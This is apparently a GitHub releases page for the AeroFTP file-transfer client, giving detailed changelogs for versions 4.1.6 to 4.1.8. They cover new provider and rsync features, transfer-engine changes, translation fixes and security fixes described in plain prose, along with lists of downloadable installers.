- AeroFTP_4.1.9_x64_en-US.msi - 86.4 MB · 259×
- AeroFTP_4.1.9_x64_en-US.msi.sigstore.json - 9.8 KB · 30×
v4.1.8 1mo ago · 747 · 18 Assets
[4.1.8] - 2026-08-26
The Release That Audited Itself
Four independent adversarial audits ran over the 111 commits behind this release, then two independent merges of those four reports were reconciled against each other. They found a checkbox that handed a private key to every account on the machine, a security guard silently removed for every OpenStack account while the provider it was meant for shipped as stable over cleartext, a discovery feature that had never once reached the network, and a release script that executed the file it documents itself as only inspecting. Every one of them is fixed here. The useful lesson is not the count: only two defects were found by all four auditors, thirteen by exactly one, and three auditors cleared kDrive discovery by reading the provider function when the defect was in its caller. Alongside that, Quick Connect learns to discover buckets and drives, rclone export covers Zoho WorkDrive and crypt overlays, and the resume-record store finally stops growing forever. 47 languages, with 47 strings this release had shipped with their diacritics stripped put back, 28 mangled Icelandic strings retranslated, and 187 banned dash characters removed with the validator now rejecting them.
Added
- Quick Connect discovers your S3 and Backblaze buckets and your kDrive drives, instead of asking you to type a name you may not remember. Manual entry stays. Quota fields take numeric units, OAuth shows the real callback URL, and the Crypt scope text says what it actually scopes (#369).
- Export to rclone.conf covers Zoho WorkDrive and rclone-crypt overlays. Zoho was gated shut by a test claiming rclone had no zoho backend; it has had one for years. A crypt overlay emits a sibling
type = cryptremote whoseremote = <base>:<path>is the Overlays Path (@EhudKirsh, #347). - Text files open in preview rather than an invisible editor tab, Filen reports the storage held by retained versions, and Properties makes read-only and hidden editable where they are real attributes (@EhudKirsh, #347).
- Add Service form tabs can be dragged to reorder, with the same inherit-slot drop My Servers uses, and the typed fields stay with their tab (@EhudKirsh, #347).
aeroftp checkpointslists and forgets multipart resume records. The store documented an escape for a decommissioned server that nothing could call; the listing is what makes it usable, since forgetting matches four exact strings nobody could otherwise supply.- CLI, GUI and MCP parity is measurable:
inventorynow sees the Tauri command surface and diffs it against the other two.
Changed
- Error correction is abbreviated EC everywhere, and ECC is left to mean Elliptic Curve Cryptography. 26 bare occurrences renamed; task ids, on-disk directories and the wire-format field keep their spelling, and the notes now say why (@EhudKirsh, #347).
Fixed
- Ticking read-only on a symbolic link changed the permissions of the file it pointed at. The mode was read without following the link and written with a call that does follow, and a Linux symlink always reports 0777, so a convenience link to a private 0600 key wrote 0577 onto the key and handed it to every other account on the machine. Un-ticking wrote 0777. The dialog then reported the file as still writable, so there was no sign anything had happened.
- Swift and OpenStack accounts no longer send your access token in the clear without telling you. A guard that refused a cleartext object store after an encrypted login had been removed for every account, while Blomp was promoted to the production grid in the same release. Blomp still works, because the provider preset declares that its storage offers no encryption, not because the guard is off.
- Quick Connect "Discover drives" works for kDrive. It had never worked: the shared placeholder is rejected by the numeric drive-id check, so every click failed before a single request left the app.
- Folder downloads over WebDAV honour the concurrent-transfers setting instead of running one file at a time, and Digest authentication now survives running them in parallel (@roflhouse, #591).
- An exported crypt remote could quietly take another profile's name in rclone.conf. rclone merges duplicate sections, so the encrypted remote you thought you had exported did not exist, and syncing to that name wrote plaintext where you meant ciphertext. Skipped profiles are now reported instead of being a comment in the file.
- One unreadable resume record no longer fails every multipart upload to every provider. It is skipped rather than fatal, and the store's size cap stops silently giving up when a record cannot be deleted.
- The transfer card no longer offers Cancel as if it were Dismiss just before the end. The lock used the rounded percentage, so at 99.6 the padlock became a close button that cancels; the minimized chip closed itself three seconds into a live transfer.
- Importing an AeroSync template with more than one path pair no longer applies one and discards the rest in silence, and one with none no longer applies empty paths (@EhudKirsh, #514).
- Discovery cannot show you the previous account's buckets. A response still in flight when credentials changed wrote its results into the form and auto-selected them, and changing only an STS role left the old role's results selectable with no race at all.
- Bucket discovery, drive discovery and the Filen quota breakdown all give up in seconds rather than holding the window for half an hour when an endpoint accepts the connection and then stalls.
- Blomp connects again instead of failing with a misleading TempAuth 404 (#584).
- Compare no longer decrypts an explicitly named vault with this connection's overlay cache, which dropped every row and read as "no differences" (@EhudKirsh, #600).
- rclone.conf export no longer writes a Zoho remote rclone cannot list, or an S3 crypt overlay pointing at the wrong bucket. A profile with no root folder is skipped with a reason rather than counted as exported.
- Community triage: Trash table columns and alignment, overlapping Duplicate and AeroSync scans, transfer-progress toggles, Filen credential generation, pCloud naming, and stable My Servers drag and drop (@EhudKirsh, #609, #364, #453).
- CUSTOM / GENERIC SERVERS uses the one badge order and its own method glyphs instead of drawing a single icon for four different entries, and CatalogTable badges come from the shared glyph map (@EhudKirsh, #347).
- 47 locale strings shipped by this release had their diacritics stripped, and 28 Icelandic strings were corrupted rather than merely misspelled. One of those was telling Icelandic users that transfer mode presets do not apply to SFTP, which is untrue. 187 banned dash characters across all 47 files are gone, and the validator now rejects them so the rule stops being one that is only checked by hand.
- Finnish UI strings restored: two stripped-diacritic strings and a drag-and-drop verb that read as a print run (#625).
- The AUR release preflight no longer executes the package file it claims only to inspect. It sliced out the top-level assignments and evaluated them, which runs anything hidden in an assignment.
- A local process can no longer break an OAuth sign-in by reaching the callback port first. The listener took one connection and handed on whatever arrived, so the real browser redirect found nothing listening.
- The generated command inventory no longer advertises commands the binary does not contain.
- Security: h2 is bumped to 0.4.16, closing RUSTSEC-2026-0258 (#597).
- Pre-tag commit audit: PASS. Every commit in the cycle was reviewed again hours before the tag, in two independent lanes that each reviewed the other's work, on the principle that fixes are where new defects come from. It was right: three of the five findings were introduced by the fixes themselves. A shared Digest nonce read twice in a log line could panic mid-rotation, the checkpoint cap ran after the write it was meant to bound, and the OAuth callback read for thirty seconds per stray connection while the real redirect waited. A Tauri command with no caller was removed rather than left as an orphan export. The committed command-surface snapshot was stale, and the drift check that should have caught it turned out to exist while no workflow invoked it, so it is now wired into CI: a gate nobody runs is not a gate.
Contributors
<img src="https://github.com/EhudKirsh.png?size=48" width="48" height="48" alt="@EhudKirsh" /> <img src="https://github.com/roflhouse.png?size=48" width="48" height="48" alt="@roflhouse" />Downloads:
- Windows:
.msiinstaller,.exe, or.zipportable (no installation required) - macOS:
.dmgdisk image - Linux:
.deb,.rpm,.snap, or.AppImage
- AeroFTP-4.1.8-1.x86_64.rpm - 146.3 MB · 15×
- AeroFTP-4.1.8-1.x86_64.rpm.sigstore.json - 10.1 KB · 4×
- AeroFTP-4.1.8-portable-windows-x64.zip - 86.1 MB · 44×
- AeroFTP-4.1.8-portable-windows-x64.zip.sigstore.json - 10 KB · 7×
- AeroFTP_4.1.8_aarch64.dmg - 84.5 MB · 23×
- AeroFTP_4.1.8_aarch64.dmg.sigstore.json - 9.9 KB · 7×
- AeroFTP_4.1.8_amd64.AppImage - 88.7 MB · 28×
- AeroFTP_4.1.8_amd64.AppImage.sigstore.json - 10 KB · 5×
- AeroFTP_4.1.8_amd64.deb - 72.5 MB · 114×
- AeroFTP_4.1.8_amd64.deb.sigstore.json - 10.1 KB · 67×
- aeroftp_4.1.8_amd64.snap - 209.7 MB · 6×
- aeroftp_4.1.8_amd64.snap.sigstore.json - 10 KB · 2×
- AeroFTP_4.1.8_x64-setup.exe - 60.2 MB · 216×
- AeroFTP_4.1.8_x64-setup.exe.sigstore.json - 10 KB · 20×
- AeroFTP_4.1.8_x64.dmg - 88.3 MB · 6×
- AeroFTP_4.1.8_x64.dmg.sigstore.json - 10 KB · 5×
- AeroFTP_4.1.8_x64_en-US.msi - 86.3 MB · 164×
- AeroFTP_4.1.8_x64_en-US.msi.sigstore.json - 10 KB · 14×
v4.1.7 2mo ago · 1,123 · 18 Assets
[4.1.7] - 2026-08-08
Summer Release: AeroRsync Extended Attributes, a Rebuilt Duplicate Finder, and Two Independent Pre-Tag Audits
The release that goes looking for the bugs that do not announce themselves. AeroRsync gains extended attributes end to end against stock rsync, -X is on by default on Unix, and the file-list, out-of-band and oversized-datum paths that carry them are bounded against a hostile peer. The Find Duplicates dialog is rebuilt around the thing it was missing: the choice of which copy to keep, with real hashes, real distances (the fuzzy "distance" was a hash value, so any sort by similarity was meaningless), live scan progress, thumbnails and per-file sizes. Seventeen provider trash views become one sortable table. A hostile-name sweep across every writable provider profile found six defects, four of which could make sync --delete remove the user's own local files, and one XML entity bug that mangled any filename with & next to a space in every listing. On Linux, six destructive actions had been asking a confirmation nobody ever saw, because WebKitGTK does not implement window.confirm: on that platform an account could be deleted with no question asked. The Snap stopped shipping a payload its own base cannot load, a break that had gone out for roughly thirty releases, and the invariant is now proven before publishing rather than assumed. Two independent adversarial audits were run before this tag, the second reviewing all 333 code candidates since v4.1.6; both are recorded in the repository, findings and accepted debt included. 47 languages, with about 5,400 strings restored word by word after a mechanical pass had stripped their diacritics.
Added
- AeroRsync preserves
user.extended attributes end to end, verified against stock rsync 3.2.7, with-Xenabled in production on Unix. The work landed in stages: the file-list extended-attribute block, the out-of-band path for attributes too large to fit in an entry, then reading and applying localuser.when a session opts in. - Find Duplicates gives the choice of which copy to keep back to the user. Any copy can be ticked, and a selection that would leave a group with no copy is confirmed by name rather than blocked. With it: per-file byte sizes, spread sorting, a 128-bit hash readout, a thumbnail on every row, and the modal scrollbar that a WebKitGTK workaround had been suppressing.
- Find Duplicates shows the hashes, sorts by similarity and takes a cutoff. The Fuzzy cutoff had never reached the engine, so the per-type defaults were the only thing anyone could actually run.
- Copy and open buttons on every duplicate row. The Copy glyph in that dialog was decorative, so comparing two candidates meant reading the path off the screen.
- Compare and Find Duplicates report files, folders, bytes, depth and elapsed time while they scan. Compare needed no new backend: the events had been emitted since the recursive scan landed and nothing was listening.
- One sortable trash table for all seventeen providers, with a Type column, aligned name header, single-line timestamps, Shift ranges, Ctrl adding and a rubber band, in a shared component instead of seventeen copies with no sorting at all.
- Calculate Size, Find Duplicates and Disk Usage run on the directory you are in, from the empty space of the panel or from any breadcrumb segment including the collapsed ancestors, instead of only from a folder row one level up (@EhudKirsh, #347).
- My Servers says which providers encrypt on this device, reading the same list as the Add Service badge, with a test holding both surfaces to it. MEGA S4 stays unbadged on purpose: it is S3 and the server holds the keys.
- Image previews on the remote panel, plus a shared LRU thumbnail cache bounded in bytes and keyed by size and mtime, which changing directory no longer clears.
- The server-side trash is reachable from the CLI (@EhudKirsh, #397).
- The Checksum tab says what a backend can hash before you click, and hashing works inside the Overlays Path again (@EhudKirsh, #347).
- Blomp is a production provider (40 GB free, OpenStack Swift), after its API turned out to work: the 403 that had it parked is only on the account listing, which the client never needs.
- The status bar describes the page you are on, and 📜 Log joins ↑↓ Queue (@EhudKirsh, #347).
Changed
- The build toolchain moved to TypeScript 7. A release-note item rather than a lockfile detail, because
tscsits on the production build chain. - The README provider logo grid is generated from the catalog, so it cannot drift from the other two public tables or list a company twice (@EhudKirsh, #347).
- The company is called Drime, not Drime Cloud, and the catalogue had it inverted as though the drive were a product under a parent. README,
docs/PROVIDERS.mdandcli_catalog.jsonare regenerated from the corrected entry (@EhudKirsh, #347). - TAB.DIGITAL is capitalised on the documentation site too, and the suggested profile name is a brand name rather than an internal slug (@EhudKirsh, #347).
- Discover no longer promises a perpetual free tier on three providers that only offer a trial. AWS S3 and Azure Blob give 5 GB for 12 months, Alibaba OSS 1 to 3 months, and Blomp's free quota is corrected to 40 GB.
- One glyph and one order per connection method, shared by the My Servers table and Quick Connect: inside the table, API and S3 had been drawing the same glyph, separated only by a colour no legend explains (@EhudKirsh, #347).
- The pricing filter on Add Service is a preference again, not a per-visit choice (@EhudKirsh, #274).
Fixed
- A filename with
&next to a space was mangled in every listing, so a GET of the displayed name returned 404 andsync --deleteoffered to delete the real local file. Seventeen XML readers now keep entity-adjacent fragments, re-proved live over MinIO and Nextcloud with zerodelete_local. - A hostile-name sweep across every writable provider profile found six defects, four of which could make
sync --deleteremove real local files: Azure listed nested folders as empty, every strict S3 endpoint (AWS, B2, R2, Alibaba, Storj, Tencent, Oracle, MEGA) could not create a folder at all, FileLu WebDAV files would not download, and FileLu S3 returned double-encoded names. 36 providers now pass end to end. - Six destructive actions asked a confirmation the user never saw. WebKitGTK does not implement the script dialogs, so
window.confirmreturns without drawing and the caller proceeds as if the user had agreed: on Linux an account went with nothing asked. H18 of the v2.6.4 audit had regressed; it is a test now. - The Find Duplicates delete confirmation could not be answered: the second asker sat at the same z-index as the finder, under its click-swallowing backdrop. The app-wide confirm now sits one explicit scale above every modal tier.
- The fuzzy duplicate distance was a hash value, not a distance, on the raster and text arms both, so a pair two bits apart could report billions.
- AeroSync stopped deleting the Plan and Sync settings on a tab switch. The tabs render conditionally, so leaving one unmounted it and React dropped all fourteen state values; they now live in a store owned by the dialog (@EhudKirsh, #347).
- AeroSync could not export a template in any of its four formats, and the titlebar would not drag from its right half (@EhudKirsh, #511, #514).
aeroftp-cli findreportedstatus: okwith zero matches on a directory full of files whenever--profilewas used: with a profile the positionals shift left, so the pattern arrived inpathand the search ran onpath's own default. A silent wrong answer, not a visible failure.aeroftp-cli connectreported a plausible port and an empty username instead of the real ones, because it rebuilt them by parsing the human-readableserver_infotext.- The Tauri commands that block stopped doing it on the window's thread. A synchronous
#[tauri::command]runs on the GTK thread, solist_subdirectorieswalking a dead network mount froze the whole window; the scoping count was wrong too, 82 synchronous out of 853 rather than 38 (#517). - Icons and Large Icons cropped every thumbnail to a square instead of showing the image, and Large Icons looked up remote paths on the local disk (@EhudKirsh, #347).
- Provider logos work as user avatars and are no longer cropped (@EhudKirsh, #550).
- A dropped profile lands on the blue line instead of one row past it, a stale text selection no longer locks a row in place, and a drag under a protocol chip reorders the visible list rather than the wrong vault slots (@EhudKirsh, #453).
- Zoho WorkDrive moves a file or folder across directories again (@EhudKirsh, #451).
- Jottacloud delete and Move to Trash work end to end, confirmed against a live account, and a folder deleted on MEGAcmd goes to the Rubbish Bin like a file does (@EhudKirsh, #397).
- Nextcloud features are detected by asking the server, not by how the profile URL was typed.
- An exported profile carries the OAuth app that refreshes its token and the region that picks its data centre; a 4shared profile carries its own token and its own app.
- AeroSync Compare stopped reporting "no differences" over a folder that has them, and Filen stopped dating every upload at the moment it was transferred (@EhudKirsh, #347).
- The file picker that did nothing now says why, in all 68 places (#510).
- Add Service keeps the search term, the pricing filter and every section when switching between grid and table.
- A NAS that is too old for zstd gets real delta sync again: one predicate was asking the wrong question. We were also advertising four compressors while driving two, and ranking one we cannot drive above one we can.
- The Snap stopped shipping a payload its own base cannot load (GLIBC_2.38 against a core22 base, out since v3.7.2), the Snap GUI paints again under strict confinement, and both invariants are now proven in CI, one by an ABI gate derived from the base snap itself and one by a captured frame (#460, #462).
- Linux builds ask EGL before switching WebKit's GPU compositor off, instead of switching it off for everyone.
- A portable install can be deleted again, because the vault files no longer lock out the user who owns them.
- The weekly Snap refresh no longer goes red for a tag that predates
graphics-core22: it skips with a job summary, andforcecannot override that. - Serbian ships fully in Cyrillic, and 26 locales got their stripped diacritics back, about 5,400 strings restored word by word in sentence context after the mechanical pass that invented "partagé" was reverted and redone natively (#512, #513). A separate sweep found 32 phantom i18n keys, now translated in all 47 locales.
- Reading extended attributes no longer follows a symlink to its target, which would have broken symlink uploads now that
-Xis live, and a batch transfer carries the extended-attribute policy of the transport that opened it instead of dropping it in silence. - The intermittent
invalid rsync protocol version: 2015297409failure is fixed: the write path was discarding the server preamble. - Public documentation stopped overstating and understating the same product. The rsync comparison separates what AeroFTP does at another layer on purpose from what is genuinely not implemented, two parity-matrix claims that nothing was checking were removed, and the CLI guide no longer denies an rclone OAuth export that has shipped for eight providers.
- CI stopped blaming commits for infrastructure. A slow Ubuntu mirror, a Docker Hub outage and a cold portal start each used to surface as a code failure or, worse, as a green exit; each now reports itself as what it is (#518, #521).
Security
- Two independent adversarial pre-tag audits. The first, recorded in the repository, withheld its green pass with one blocker and five majors; the second reviewed all 333 code candidates (236 non-merge) and 342 changed files since v4.1.6 across AeroRsync, providers, crypt and core security boundaries, frontend, CI, release workflows and dependencies, and returned PASS with every release-blocking finding fixed and covered by regression tests. Both verdicts, and the debt that was accepted rather than fixed, are in
docs/security-evidence/. The gate behind that pass: 718 frontend tests, 3,453 Rust library tests, 502 CLI tests, Clippy on all targets with warnings denied, 46 of 46 non-English locales at 5,185 keys each with zero errors or placeholders,npm auditat zero andcargo auditclean over 1,186 dependencies. - Peer-controlled AeroRsync state is bounded: extended-attribute wire state, retry buffering and out-of-band datum resolution, plus a hostile peer can no longer land a setuid binary through the applied file mode.
- Tokens stay with the host that issued them. The S3 client had no redirect policy and
x-amz-security-tokenis not on reqwest's strip list, so an STS session token could be replayed to whatever host a redirect named; Swift refuses authenticated redirects outright and binds the token to the storage origin the authentication response returned, rejecting a bad scheme, URL-embedded credentials and an HTTPS to HTTP downgrade. - An incomplete provider listing or a swapped provider session can no longer authorise a local delete or an actionable compare plan, and atomic sync write staging is unique and durable under concurrent writers.
- The speed-test overwrite guard was itself fail-open:
stat(path).is_ok()read every error as "the path is free", so an expired token or a provider 5xx let the upload-then-delete sequence run on a real user file. It now proceeds only on an explicit not-found, refuses public web roots and their descendants, and no longer leaks a connected session when cancelled mid-setup. - Crypt raw-write protection stays armed under a view-only lock and fails closed on ambiguous path scope; the AeroCrypt modal no longer rebuilds the silent salt downgrade; hash-drop plaintext staging is created atomically in a random owner-only directory.
- AeroTools hardened across hostile imports, secret-bearing exports and remote probes, and a traversal guard was restored to
server_copy. - Published release assets are immutable, so re-running a tag build can no longer swap binaries under a manifest that already pinned their digests, and winget publishes both installers again.
- Advisories closed: RUSTSEC-2026-0221 (
event-listener), RUSTSEC-2026-0235 (rkyv0.7.46, reached four levels down throughtauri-plugin-log), threerusshadvisoriescargo auditcannot see, GHSA-fxqj-rqcc-2cmp (postcss) and GHSA-m65r-rprj-r5rg (russh0.62.5). - Accepted and still open, stated rather than folded into the pass: SEC-2, the Sigstore hard-gate and published-digest product flow; PROV-4, Swift recursive-delete pagination beyond 10,000 objects.
Contributors
Thanks to the people who shaped this release:
<img src="https://github.com/EhudKirsh.png?size=48" width="48" height="48" alt="@EhudKirsh" />
Downloads:
- Windows:
.msiinstaller,.exe, or.zipportable (no installation required) - macOS:
.dmgdisk image - Linux:
.deb,.rpm,.snap, or.AppImage
- AeroFTP-4.1.7-1.x86_64.rpm - 145.4 MB · 20×
- AeroFTP-4.1.7-1.x86_64.rpm.sigstore.json - 10 KB · 7×
- AeroFTP-4.1.7-portable-windows-x64.zip - 85.2 MB · 74×
- AeroFTP-4.1.7-portable-windows-x64.zip.sigstore.json - 10 KB · 10×
- AeroFTP_4.1.7_aarch64.dmg - 83.9 MB · 44×
- AeroFTP_4.1.7_aarch64.dmg.sigstore.json - 9.8 KB · 5×
- AeroFTP_4.1.7_amd64.AppImage - 88.2 MB · 55×
- AeroFTP_4.1.7_amd64.AppImage.sigstore.json - 10.1 KB · 4×
- AeroFTP_4.1.7_amd64.deb - 72.2 MB · 131×
- AeroFTP_4.1.7_amd64.deb.sigstore.json - 10 KB · 80×
- aeroftp_4.1.7_amd64.snap - 209 MB · 8×
- aeroftp_4.1.7_amd64.snap.sigstore.json - 9.9 KB · 1×
- AeroFTP_4.1.7_x64-setup.exe - 59.9 MB · 321×
- AeroFTP_4.1.7_x64-setup.exe.sigstore.json - 10 KB · 26×
- AeroFTP_4.1.7_x64.dmg - 87.7 MB · 10×
- AeroFTP_4.1.7_x64.dmg.sigstore.json - 10.1 KB · 4×
- AeroFTP_4.1.7_x64_en-US.msi - 85.5 MB · 295×
- AeroFTP_4.1.7_x64_en-US.msi.sigstore.json - 10.1 KB · 28×
v4.1.6 3mo ago · 1,126 · 18 Assets
[4.1.6] - 2026-07-25
AeroRsync Closes the Gap With rsync, a Stabilised DAG Transfer Engine, and MTP Portable Devices
The longest-running thread in the project lands: AeroRsync gains the negotiated checksums, end-to-end symlinks and streaming signatures that were the remaining distance to stock rsync, and the legacy parallel server stack retires so production has exactly one path, the one that is tested byte-identical against rsync --server. The DAG transfer engine stops being a promising core and becomes the engine: a process-global hierarchical governor, durable multipart checkpoints, a streaming work frontier, endpoint-aware adaptive AIMD and SizeFair scheduling, with five more providers promoted onto native multipart workers. Measured against rclone on the lab, multi-file FTPS moved from 8-18% behind to parity and the FTPS single-stream default is now 41% ahead. A new protocol arrives with it: MTP/WPD portable devices, phones and cameras that the OS never gives a drive letter, with their own profile type keyed to a device fingerprint. AeroCrypt gains v4 keyslots, so a vault can be unlocked by more than one credential without re-encrypting it. A sync stack audit closes the release's most serious finding - a crafted remote filename reached the remote login shell through rsync-over-SSH - along with a class of scan-completeness holes where a truncated remote listing could steer a sync into deleting local data. 47 languages translated.
Added
- Portable devices over MTP and WPD, a new protocol with its own profile type: attached phones, cameras and media players that the OS never mounts as a drive now appear under PLACES > Portable devices and browse and transfer through the same dual-panel fabric as every other provider, via a Linux
libmtpbackend and a Windows WPD backend. Devices are saved as real profiles keyed to a stable device fingerprint (mtp:serial=…where the device reports one, otherwise vid/pid plus model), so a saved phone reconnects as itself rather than as whatever happened to be on that USB port; the Add Services catalog gains a Devices category and an MTP save form, the device card carries a red/green attach indicator with click-to-connect, andaeroftp-clican open a saved device by fingerprint. USB hotplug is wired on both platforms, so unplugging a device flips the attach dot and degrades the open session honestly instead of leaving a dead panel (@EhudKirsh, #347). - AeroFTP takes the MTP claim from the desktop instead of losing to it: only one program can hold a phone over MTP at a time, so on Linux Connect now soft-releases the system gvfs/Nautilus mount (with a settle poll, a clean
giounmount with timeout, and aSIGSTOPof the gvfs volume monitors across the open) rather than failing with an error that blamed the user for having a file manager open. Disconnect drops only the claim AeroFTP took. Where the desktop mount is the better path, PLACES rides it instead of fighting it. - AeroRsync: md4 and sha1 as first-class negotiated checksums (Y-RSC.3): both were advertised in negotiation but never implemented, so a negotiated md4 or sha1 win silently degraded a delta transfer to all-literal traffic and skipped the reconstruction verify entirely. Both roles - the block-strong signature hash and the whole-file trailer - are now implemented in both directions, and the reconstruction is genuinely verified. The seeding mirrors the builtin-versus-EVP split of rsync 3.2.7
checksum.c: block-strong md4 appends the four-byte seed, sha1 prepends it, and the whole-file trailer is unseeded for both. Verified against stock rsync 3.2.7 by forcing each algorithm through the live lane-3 upload path for a byte-identical reconstruction, which proves our md4 and sha1 are accepted by rsync's own receiver verify. - AeroRsync: symlinks transferred end-to-end on unix (Y-RSC.4): a source symlink is detected by
lstatand never followed, emitted as anS_IFLNKfile-list entry carrying the link target under rsync'sF_LENGTHconvention, with no signature, delta or data phase; the receiver materialises it create-temp-then-rename, replacing an existing file and leaving no temp behind on failure. On non-unix targets a symlink entry fails closed with a typed error instead of silently creating a regular file. - AeroRsync: streaming download signatures (Y-RSC.5): the signature phase no longer reads the whole baseline into RAM. Production downloads open a
FileBaselineand walk it block by block for the Adler-32 rolling and negotiated strong hash, closing the O(file) memory cost left open by the earlier streaming work. Byte-identical parity tests against the bulk path, plus an RSS acceptance run over a 4 GiB sparse baseline holding peak growth under 128 MiB. - A process-global hierarchical transfer governor: concurrency is now arbitrated across the whole process rather than per transfer, with a priority device-endpoint governor beneath it, so a large batch and an interactive single-file transfer no longer bid against each other blindly for the same device and endpoint capacity.
- Durable multipart checkpoints and a journal-aware commit path: a multipart upload writes durable per-part receipts, so an interrupted upload resumes against the parts that genuinely landed instead of restarting, and
VerifyChecksumandCommitTempread that journal so a session is finalized only after a durable verified fact. A cancelled multipart upload now keeps its provider session for resume rather than aborting it. - A streaming work frontier for multi-file transfers: the multi-file source streams work into the DAG instead of materialising the full graph up front, with a bounded ready-frontier dispatch window; peak graph memory stays bounded over ten million items, which is now a test.
- Endpoint and workload-aware adaptive AIMD, plus SizeFair scheduling: the congestion profile adapts to the endpoint and the shape of the workload, and SizeFair scheduling stops a queue of large files from starving small ones. Normal sync files are pooled with an exclusive delta lane so a delta transfer no longer contends with plain copies.
- Five more providers promoted onto native multipart workers: Drime, Uploadcare, Dropbox, Box and Filen now upload through real per-part wire I/O rather than a single-stream fallback. pCloud was evaluated and deliberately retained on
LockedSingleafter its live gate. - A reusable buffer pool with a streaming multipart part body, plus directional resources and byte-buffer credits with an exact credit ceiling, so the engine's memory ceiling is a number it enforces rather than a hope.
- Runtime transfer capabilities and capability-aware settings: the engine probes what an endpoint can actually do once and binds the effective settings to that single probe, so the settings surface stops offering choices the provider cannot honour.
- SFTP performance presets, persisted per profile, with opt-in read-ahead:
russh-sftpawaits oneSSH_FXP_READper poll (upstream #70), so an SFTP download ran far below the link (measured 2.8 MiB/s against 16 upload on the same session). An in-tree read-ahead over the public API - no crate fork - stripes chunks across several cheap file handles into one writer, byte-identical to the serial loop with strict short-read as a hard error. In the lab over a 1 Gb link at 37.7 ms RTT: about 2.5-3x on a single connection, 14.25 MiB/s at 4 connections (beating 8 serial connections), peaking at 27.47 MiB/s at 12 connections, about 58% ahead of rclone. This stays opt-in via the per-profile preset,--sftp-concurrencyon the CLI orAEROFTP_SFTP_READAHEAD; no default changed, pending the team audit before any default flip. - AeroCrypt v4 keyslots: a vault key can now be unlocked by more than one credential. A v4 keyslot core (slot types, per-slot key derivation, AAD-wrapped OMK) is joined by
crypt migrate-v4and slot management on the CLI, a GUI keyslot manager, and a recovery slot with an Emergency Kit v4. Migration derives a single schedule for the master key and each slot wraps it, so adding or revoking a credential never re-encrypts the vault. - An unlocked-key cache for instant crypt overlay re-toggle, with an explicit hard lock: toggling an AeroCrypt or rclone-crypt overlay off and on on the same connection re-derived the key from scratch every time (Argon2id, or scrypt for rclone-crypt). Keys are now cached for the life of the connection - every copy still zeroizes on drop - with an explicit hard-lock action to drop them on demand.
- Security Tools as a first-class launcher in the AeroTools panel, with Hash Forge reaching BLAKE3-demo parity (XOF output length, auto-calculate, the full encoding set, drag and drop) and Password Forge output masked behind an eye reveal toggle. The titlebar button remains a Cyber-theme easter egg (@EhudKirsh, #369).
- A startup resume banner for the transfer queue with smart auto-connect (TQ-7c), turning the restored-queue work from v4.1.5 into a prompt that can actually reconnect and resume.
- A dual-panel breadcrumb path bar reusing the AeroFile breadcrumb, and the Compare view now shows what percentage of items and bytes are out of sync rather than only counts (@EhudKirsh, #347).
- Copy or duplicate a user from the Manage Users GUI (@EhudKirsh, #347), and the
--tuiinline action menu now works on groups and users, not only on servers (@EhudKirsh, #311). - Premium-gated Permanent Delete and Empty Trash for Dropbox in the trash manager, with tooltips that spell out the difference between the two (@EhudKirsh, #397, #347).
- Benchmarks reach agents and every transport:
--all-protocolsexpands a profile into one run per transport mode, results carry distinct Type and Protocol columns and MiB units with a single-file progress bar, and the many-files and per-protocol benchmarks are reachable from an MCP agent (@EhudKirsh, #277). - Windows volume hotplug in PLACES via a
WM_DEVICECHANGEwatcher and aGetLogicalDrivesmask diff, so an attached drive appears without waiting for the 30s poll. - Add Service catalog growth: an optional parent Company column, S3Drive and Quotaless added, MEGA S4 folded into one row, a 4shared WebDAV Quick-Connect preset, and middle-click to open a service in a background tab with the search term preserved (@EhudKirsh, #274, #347).
Changed
- The FTPS single-stream download buffer default moves from 8 KiB to 64 KiB: at 8 KiB, TLS record churn dominated the path. An interleaved A/B on the lab FTPS profile (3 reps per size, same 1 GiB oracle, all exact SHA-256) measured a 89.7 s median at 64 KiB against 130.8 s at 8 KiB and 112.4 s at 256 KiB, with the tightest spread - 41% ahead of the rclone single-channel reference at 153.1 s.
--buffer-sizestill overrides within the existing 4 KiB to 16 MiB clamp; the multi-stream path is untouched. - FTP multi-file batches reuse warm connections and reach parity with rclone: the CLI batch opened a fresh control connection per file - TCP,
AUTH TLSand login every time - leaving multi-file FTPS 8-18% behind rclone, which amortises the handshake over a pool. A worker that finishes a file successfully is now parked and reused, gated behind a newsupports_transfer_worker_reusecapability that defaults to false so SFTP and HTTP-clone pools keep their exact per-file re-dial path. Only workers from successful transfers are recycled, so a desynced stream is dropped rather than reused. Result: +1.0% and +1.4% against rclone at concurrency 3 and 5, with distinct TCP connections dropping from 18 to 13. - The legacy RSNP stack is retired (Y-RSC.8):
SessionDriver, the session, planner and server modules, the protocol frame codec and theaerorsync_servebinary are deleted, along with CI lane 2 and its docker harness. Production was already onWrapperParityagainst stockrsync --server; this removes the parallel path that was never the shipped one. The module is now 22 files and about 32k LOC, anddocs/PROTOCOL-RSYNC-COMPARE.mdhas been re-audited against the code. mainis gated by the AeroRsync module suite and the real-rsync lane, and the mandatory pre-push gate is aligned with the build checks so a local pass means the same thing CI means.- The Rust toolchain is pinned to 1.97.0, ending clippy drift between contributor machines and CI.
- Routine dependency maintenance: dompurify 3.4.12, rand 0.8.7, sevenz-rust2 0.21.3, sha1 0.10.7, xxhash-rust 0.8.17, softprops/action-gh-release 3.0.2, plus a batched Dependabot and quick-xml security cleanup.
Fixed
- A partial remote listing can no longer drive mass deletion (sync audit AUDIT-03): both remote scanners swallowed listing failures - a failed
cd, a failedlist, the depth limit, the 100K index cap - with a barecontinueand returned a map that looked complete. Files the scanner could not see were indistinguishable from files the user had deleted, so a partial listing could drive massDeleteLocalwhile the safety gate saw perfectly benign counts. Both scanners now return a completeness flag set false at each swallow site, and the delete-propagation gate trips unconditionally on an incomplete scan. The companion fixes close the same class for orphan-delete against incomplete or empty source scans, for the compare scan, and for unstattable local entries, which now mark the local scan incomplete rather than reading as remote-only. Archive-before-delete made a wrong delete recoverable; this prevents it. - A propagated delete archives the local file first: the overwrite path already archived to
.aeroversions/, but a delete driven by a remote-side disappearance did not, so a wrong delete was permanent. Both sync engines now archive before a propagatedDeleteLocalthrough one shared helper, which is what makes the scan-completeness gates above recoverable rather than merely preventive. - A
node_modules/line in the sync config now excludesnode_modules: a trailing/- the spelling the.aeroignoretemplate itself teaches - was matched verbatim and never hit the directory segment, and an interior-/pattern likebuild/outputwas never matched at a path boundary. Both are now honoured gitignore-style. - An interrupted local-to-local copy cannot leave a truncated file: the plain-copy fallback writes to a temp sibling and renames onto the destination, so a failure mid-copy no longer destroys the previous good mirror copy.
